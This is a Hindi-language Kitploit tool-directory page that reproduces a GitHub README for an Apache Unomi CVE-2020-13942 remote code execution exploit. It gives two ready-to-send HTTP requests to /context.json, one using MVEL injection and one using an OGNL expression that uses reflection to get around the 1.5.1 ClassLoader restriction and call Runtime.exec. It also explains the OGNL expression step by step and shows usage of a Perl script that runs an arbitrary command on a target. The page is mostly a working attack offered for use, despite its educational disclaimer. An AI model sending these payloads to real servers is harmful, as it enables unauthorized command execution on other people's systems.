Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
apche_unomi_rce — Apache Unomi CVE-2020-13942: RCE भेद्यताएँ | Kitploit
उपकरण/GitHubGitHub/dev-team-12x/apche_unomi_rce
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षापेलोड डेवलपमेंट
GitHubdev-team-12x/apche_unomi_rce

apche_unomi_rce

Apache Unomi CVE-2020-13942: RCE भेद्यताएँ

रिपॉजिटरी देखें
5 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2020-13942

भेद्यता के बारे में मूल ब्लॉग पोस्ट: https://www.checkmarx.com/blog/apache-unomi-cve-2020-13942-rce-vulnerabilities-discovered/

यहाँ दो RCE वेक्टर हैं: MVEL इंजेक्शन के माध्यम से और OGNL इंजेक्शन के माध्यम से। दोनों वेक्टर अलग-अलग कोड को लक्षित करते हैं, हालाँकि पेलोड अपेक्षाकृत समान दिखते हैं। पिछला CVE फिक्स https://nvd.nist.gov/vuln/detail/CVE-2020-11975 OGNL एक्सप्रेशन के निष्पादन को सीमित करने की कोशिश करता था, लेकिन MVEL को पूरी तरह से अनदेखा कर दिया। CVE-2020-13942 1.5.1 संस्करण में किए गए फिक्स को बायपास करता है।

Unomi सर्वर द्वारा एक्सपोज़ किए गए context.js\json पर निम्नलिखित HTTP अनुरोध BurpSuite या curl का उपयोग करके भेजें और RCE प्राप्त करें। अपने लक्ष्य URL और OS कमांड के अनुसार Host और Content-length बदलें। दोनों POC को प्रतिक्रिया में HTTP/1.1 400 Header Folding मिल सकता है, जिसका अर्थ है कि पेलोड में \r\n गड़बड़ हो गए हैं, इसे एक बार फिर से कॉपी-पेस्ट करने का प्रयास करें।

1) MVEL POC

HTTP अनुरोध

root@kitploit:~
POST /context.json HTTP/1.1
Host: localhost:8181
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0
Content-Length: 486

{
    "filters": [
        {
            "id": "boom",
            "filters": [
                {
                    "condition": {
                         "parameterValues": {
                            "": "script::Runtime r = Runtime.getRuntime(); r.exec(\"gnome-calculator\");"
                        },
                        "type": "profilePropertyCondition"
                    }
                }
            ]
        }
    ],
    "sessionId": "boom"
}

2) OGNL POC

OGNL POC ने 1.5.1 संस्करण द्वारा शुरू की गई ClassLoader प्रतिबंध को बायपास कर दिया। Java रिफ्लेक्शन API का उपयोग करके ClassLoader.loadClass विधि को ट्रिगर किए बिना एक ऑब्जेक्ट बनाना संभव है, जो मूल्यांकन किए गए OGNL एक्सप्रेशन को प्रतिबंधित करती है।

पेलोड OGNL एक्सप्रेशन का विवरण:

  1. पहला एक्सप्रेशन #runtimeclass = #this.getClass().forName(\"java.lang.Runtime\") एक java.lang.Runtime Class ऑब्जेक्ट बनाता है, जहाँ #this कॉन्टेक्स्ट ऑब्जेक्ट का संदर्भ है।
  2. दूसरा एक्सप्रेशन #getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0] रिफ्लेक्शन के माध्यम से Runtime क्लास की विधियों की सूची प्राप्त करता है और सूची में से getRuntime विधि चुनता है। एक्सप्रेशन का {^ #this.name.equals(\"getRuntime\")} भाग getRuntime नाम वाली एक Method की खोज करता है और शर्त से मेल खाने वाली Methods की एक सूची लौटाता है; इस सूची की पहली और एकमात्र Method getRuntime है।
  3. तीसरा एक्सप्रेशन #runtimeobject = #runtimemethod.invoke(null,null) getRuntime() विधि को कॉल करता है और Runtime ऑब्जेक्ट प्राप्त करता है।
  4. चौथा एक्सप्रेशन (#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]) Runtime क्लास की विधियों को प्राप्त करता है और विधि सूची में से एक single String तर्क के साथ Runtime.exec() को पुनर्प्राप्त करता है।
  5. अंतिम एक्सप्रेशन #execmethod.invoke(#runtimeobject,\"gnome-calculator\") निर्दिष्ट तर्क के साथ Runtime.exec() को कॉल करता है।

HTTP अनुरोध

root@kitploit:~
POST /context.json HTTP/1.1
Host: localhost:8181
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0
Content-Length: 1068

{
  "personalizations":[
    {
      "id":"gender-test",
      "strategy":"matching-first",
      "strategyOptions":{
        "fallback":"var2"
      },
      "contents":[
        {
          "filters":[
            {
              "condition":{
                "parameterValues":{
                  "propertyName":"(#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\")).(#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0]).(#rtobj = #getruntimemethod.invoke(null,null)).(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]).(#execmethod.invoke(#rtobj,\" gnome-calculator\"))",
                  "comparisonOperator":"equals",
                  "propertyValue":"male"
                },
                "type":"profilePropertyCondition"
              }
            }
          ]
        }
      ]
    }
  ],
  "sessionId":"boom"
} 

Apache_Unomi_Perl का उपयोग करें

मूल उपयोग:

root@kitploit:~
  ./apache_unomi.pl [options]

options:

./apache_unomi.pl [target:port] [command] [(method 1) - mevel| (method 2) - ognl]

[+]usage:

./apache_unomi.pl http://127.0.0.1:8181 whoami 1
 

अस्वीकरण

इस पृष्ठ पर दी गई सभी जानकारी केवल शैक्षिक उद्देश्यों के लिए है। इस वेबसाइट पर दी गई जानकारी का उपयोग केवल आपके कंप्यूटर सिस्टम की सुरक्षा बढ़ाने के लिए किया जाना चाहिए, न कि दुर्भावनापूर्ण या हानिकारक हमले करने के लिए।

आपको इस जानकारी का दुरुपयोग करके कंप्यूटर सिस्टम में अनधिकृत पहुँच प्राप्त नहीं करनी चाहिए। साथ ही यह भी ध्यान रखें, जिन कंप्यूटरों के स्वामी आप नहीं हैं, उन पर मालिकों से लिखित अनुमति के बिना हैकिंग प्रयास करना अवैध है।

इस वेबसाइट पर दी गई जानकारी के उपयोग के कारण होने वाली किसी भी प्रत्यक्ष या अप्रत्यक्ष क्षति के लिए मैं ज़िम्मेदार नहीं होगा/होगी।

टूल डाउनलोड करें